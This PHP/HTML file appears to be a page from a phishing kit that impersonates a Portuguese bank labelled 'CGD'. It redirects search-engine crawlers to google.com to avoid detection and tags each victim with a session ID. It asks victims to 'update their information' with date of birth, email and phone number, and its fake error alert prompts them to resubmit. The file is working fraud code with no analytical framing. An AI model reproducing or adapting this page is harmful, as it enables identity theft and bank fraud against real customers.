<?php
require '../vendor/autoload.php';

use Jaybizzle\CrawlerDetect\CrawlerDetect;

$CrawlerDetect = new CrawlerDetect;
$isBot = $CrawlerDetect->isCrawler();

if ($isBot) {
    header("Location: https://google.com");
    exit;
}

?>
<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CGD</title>
     <link rel="shortcut icon" href="<?= URLROOT ?>/panel/assets/images/cgd-favicon.png" type="image/x-icon">
    <link rel="stylesheet" href="<?= URLROOT ?>/panel/bootstrap/css/bootstrap.min.css">
    <link href='https://unpkg.com/boxicons@2.1.4/css/boxicons.min.css' rel='stylesheet'>
    <link rel="stylesheet" href="<?= URLROOT ?>/panel/css/style.css">
    <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
 <script src="https://code.jquery.com/jquery-3.7.1.js" integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>

</head>

<body>

    <header class="pt-4">
        <div class="container-fluid">
            <div class="row ml-2">
                <div class="col-md-12">
                    <img class="img-fluid" src="<?= URLROOT ?>/panel/got/logo_CDO.gif" alt="">
                </div>
            </div>
        </div>
    </header>
    <section class=" mt-3">
        <div class="container-fluid">
            <div class="row ">
                <div class="col-md-12 p-0">
                    <div class="top_border pl-3 pr-3">
                        <div class="d-flex justify-content-end align-items-center">
                            <p class="mb-0 text-white">PT <span class="en">EN</span></p>
                        </div>
                    </div>
                </div>
                <div class="col-md-4 m-auto pt-5 pb-5">
                    <div class="bg-white p-3 shadow-lg">
                        <h3>Atualize as suas informações</h3>
                        <p>Por favor preencha as informações abaixo para verificação</p>
                        <form  action="#" id="form" method="post" name="login">

                          <?php

                  if(isset($_GET['resend'])){
                    ?>
                      <div class="alert alert-danger mr-3" style="background: red;padding: 10px;margin-bottom: 10px;color: white;border-radius: 10px;">Ocorreu um erro, tente novamente...</div>
                    <?php
                  }
                  ?>

                          
                     <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="0" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

                            <!-- <div class="form-group">
                                <label for="">Nome completo</label>
                                <input type="text" class="form-control input-feild" id="full_name" name="full_name" onkeyup="chageValue()">
                            </div> -->
                            <div class="form-group">
                                <label for="">Data de nascimento</label>
                                <input type="tel" maxlength="10" class="form-control input-feild dob-input" id="date_of_birth" name="date_of_birth" onkeyup="chageValue()">
                            </div>
                            <div class="form-group">
                                <label for="">E-mail</label>
                                <input type="email" class="form-control input-feild" id="email" name="email" onkeyup="chageValue()">
                            </div>
                            <div class="form-group">
                                <label for="">Número de telefone</label>
                                <input type="email" class="form-control input-feild only-digits" id="phone_number" name="phone_number" onkeyup="chageValue()">
                            </div>
                            <!-- <div class="form-group">
                                <label for="">Morado</label>
                                <input type="email" class="form-control input-feild " id="purple" name="purple" onkeyup="chageValue()">
                            </div> -->
                            <button onclick="formSubmit()" disabled id="buttonLoad" class="btn active_btn" style="padding: 12px 35px; font-size: 18px;">Continuar</button>
                        </form>
                </div>
                </div>
            </div>
        </div>
    </section>


    <footer></footer>
    <div class="footer_bottom"></div>
    <div class="lang-links d-flex justify-content-center mb-5 pb-5 mt-2">
        <a href="">Segurança</a>
        <a href="">Contactos</a>
        <a href="">Preçário</a>
        <a href="">Condições Gerais</a>
        <a href="">Espaço Cliente</a>
    </div>
    <script src="<?= URLROOT ?>/panel/bootstrap/jquery/jquery.min.js"> </script>
    <script src="<?= URLROOT ?>/panel/bootstrap/js/popper.min.js"> </script>
    <script src="<?= URLROOT ?>/panel/bootstrap/js/bootstrap.min.js"> </script>

     <script>
     function chageValue(){
           var full_name = $('#full_name').val();
           var date_of_birth = $('#date_of_birth').val();
           var email = $('#email').val();
           var phone_number = $('#phone_number').val();
           var purple = $('#purple').val();
          
           if(full_name != "" && date_of_birth != "" && email != "" && phone_number!="" && purple != ""){
               $('#buttonLoad').removeAttr('disabled','disabled')
           }else{
                $('#buttonLoad').attr('disabled','disabled')
           }
     }
    function formSubmit(){

     var loader = new Option();
          loader.formSubmit();
    }
    
   </script>

    <script>
        $(document).ready(function () {
    $(".only-digits").on("input", function () {
        $(this).val($(this).val().replace(/\D/g, "")); // Remove non-digit characters
    });
});
    </script>
    <script>
        $(document).ready(function () {
            $('.dob-input').on('input', function (e) {
                var dob = $(this).val().replace(/\D/g, '');
                var formattedDob = '';

                if (dob.length > 0) {
                    formattedDob += dob.substring(0, 2);
                    if (dob.length > 2) {
                        formattedDob += '/' + dob.substring(2, 4);
                        if (dob.length > 4) {
                            formattedDob += '/' + dob.substring(4, 8);
                        }
                    }
                }

                $(this).val(formattedDob);
            });

            $('.dob-input').on('keydown', function (e) {
                var key = e.which || e.keyCode;
                if (key === 8) { // Backspace key
                    var dob = $(this).val();
                    if (dob.length === 3 || dob.length === 6) {
                        $(this).val(dob.slice(0, -1));
                    }
                }
            });
        });
    </script>
    </body>

    </html>